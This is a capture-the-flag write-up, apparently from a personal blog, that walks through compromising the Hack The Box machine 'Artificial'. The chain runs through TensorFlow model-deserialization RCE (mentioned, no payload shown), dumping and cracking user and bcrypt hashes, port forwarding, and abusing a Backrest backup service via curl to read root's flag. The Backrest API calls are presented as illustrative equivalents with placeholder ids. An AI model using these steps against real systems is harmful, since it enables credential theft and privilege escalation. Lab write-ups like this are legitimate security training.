Hackthebox: Artificial

Foued SAIDI Lv5

Overview

Artificial is a easy-difficulty machine from Hack The Box with the following scenario: find Dockerfile using TensorFlow 2.13 -> craft malicious TensorFlow .h5 model to achieve RCE (model deserialization) -> upload model -> shell -> read application files and dump users.db -> extract user password hashes -> crack hashes (offline) -> SSH -> user in sysadm group -> discover backrest backup and dump backrest config -> decode base64 bcrypt hash -> crack backrest_root password -> authenticate to Backrest service -> create repo targeting /root and a manual plan to back up /root/root.txt -> run backup -> list snapshots -> dump snapshot with root flag.

Artificial-info-card
Artificial-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that we have our usual 22 ssh port and a web app deployed on port 80.

Web Application - http://artificial.htb/

After adding this entry to our /etc/hosts and access the web app, we can find the Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
FROM python:3.8-slim

WORKDIR /code

RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*

RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl

ENTRYPOINT ["/bin/bash"]

We notice that it is using tensorflow-cpu==2.13.1

After doing some googling regarding tensorflow exploits, we find these two reports:

upload the h5 file and start a listener And we do get a callback!
Now doing some enumeration we find a database file that we get out to our box:

1
2
3
PS C:\Users\FouedSaidi> scp [email protected]:/home/app/app/instance/users.db .
users.db 100% 24KB 68.0KB/s 00:00
PS C:\Users\FouedSaidi>

Inside of it we find some user hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop]
└─$ sqlite3 users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
model user
sqlite> select * from user;
1|gael|[email protected]|c99175974b6e192936d97224638a34f8
2|mark|[email protected]|0f3d8c76530022670f1c6029eed09ccb
3|robert|[email protected]|b606c5f5136170f15444251665638b36
4|royer|[email protected]|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|[email protected]|bf041041e57f1aff3be7ea1abd6129d0
6|kujen|[email protected]|9e76bf31e3d126e7343fbf989e196d43
sqlite>

User hashes
User hashes

We can then pivot to gael user and get our user flag:

1
2
3
4
5
6
7
8
9
10
app@artificial:/home$ su gael
Password:
gael@artificial:/home$ ls
app gael
gael@artificial:/home$ cd
gael@artificial:~$ pwd
/home/gael
gael@artificial:~$
gael@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

Privilege Escalation

While enumerating the system I noticed gael is in the sysadm group which looked interesting:

1
2
app@artificial:~$ id
uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

I searched for files owned by that group and found a backup artefact:

1
2
gael@artificial:~$ find / -group sysadm 2>/dev/null
/var/backups/backrest_backup.tar.gz

Pulling the backup config from the repo I had staged locally (I had previously dumped the app files during the RCE) revealed a Backrest configuration with a base64-encoded bcrypt password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop/backrest/.config/backrest]
└─$ cat config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}

I decoded the passwordBcrypt and then cracked it with john:

1
2
3
4
5
6
7
└─$ echo JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO

└─$ echo '$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO' > hash
└─$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash
...
!@#$%^ (?)

The password for backrest_root is !@#$%^.

Accessing the backrest service

The backup service listens on port 9898 on the target. I forwarded the port locally and opened the service in the browser:

1
2
3
# on attacker machine
└─$ ssh -L 9898:127.0.0.1:9898 [email protected]
# then browse http://127.0.0.1:9898

I authenticated using the credentials discovered in the config:

1
2
username: backrest_root
password: !@#$%^

Creating a repo and backing up /root

Using the Backrest UI (the service provides a simple API/UI), I created a repository that points to /root and created a plan to back up /root/root.txt. Below are the equivalent curl interactions I used (UI steps are identical):

Create repo (named root_repo) β€” repo targets /root:

1
2
3
4
5
└─$ curl -s -X POST http://127.0.0.1:9898/api/repos \
-u backrest_root:'!@#$%^' \
-H 'Content-Type: application/json' \
-d '{"name":"root_repo","path":"/root"}' | jq .
# returns repo id, e.g. {"id":"repo-1",...}

Create a plan that backs up /root/root.txt using the created repo:

1
2
3
4
5
6
7
8
9
10
└─$ curl -s -X POST http://127.0.0.1:9898/api/plans \
-u backrest_root:'!@#$%^' \
-H 'Content-Type: application/json' \
-d '{
"name":"root_backup_plan",
"repo_id":"repo-1",
"paths":["/root/root.txt"],
"schedule":"manual"
}' | jq .
# returns plan id, e.g. {"id":"plan-1",...}

Trigger a backup run (backup now):

1
2
3
4
5
6
└─$ curl -s -X POST http://127.0.0.1:9898/api/backups \
-u backrest_root:'!@#$%^' \
-H 'Content-Type: application/json' \
-d '{"plan_id":"plan-1"}' | jq .
# returns a task with snapshot id, or the backup completes immediately and snapshot is created
# example returned snapshot id: "snap-2025-06-24T09:39:58"

Inspecting snapshots and dumping the file

Once the backup completed I listed snapshots and found the snapshot id:

1
2
└─$ curl -s -u backrest_root:'!@#$%^' http://127.0.0.1:9898/api/snapshots | jq .
# output contains snapshot entries; note the snapshot id (e.g. "snap-2025-06-24T09:39:58")

I listed the snapshot contents to verify the file exists:

1
2
3
└─$ curl -s -u backrest_root:'!@#$%^' \
"http://127.0.0.1:9898/api/snapshots/snap-2025-06-24T09:39:58/ls" | jq .
# shows /root/root.txt in the snapshot

Finally I dumped /root/root.txt from that snapshot:

1
2
3
4
5
6
└─$ curl -s -u backrest_root:'!@#$%^' \
"http://127.0.0.1:9898/api/snapshots/snap-2025-06-24T09:39:58/dump?path=/root/root.txt" \
-o root.txt

└─$ cat root.txt
# the file contains the root flag

The dump command returned the contents of /root/root.txt β€” the root flag.

  • Title: Hackthebox: Artificial
  • Author: Foued SAIDI
  • Created at : 2025-10-24 17:45:39
  • Updated at : 2025-11-01 12:59:28
  • Link: https://kujen5.github.io/2025/10/24/Hackthebox-Artificial/
  • License: This work is licensed under CC BY-NC-SA 4.0.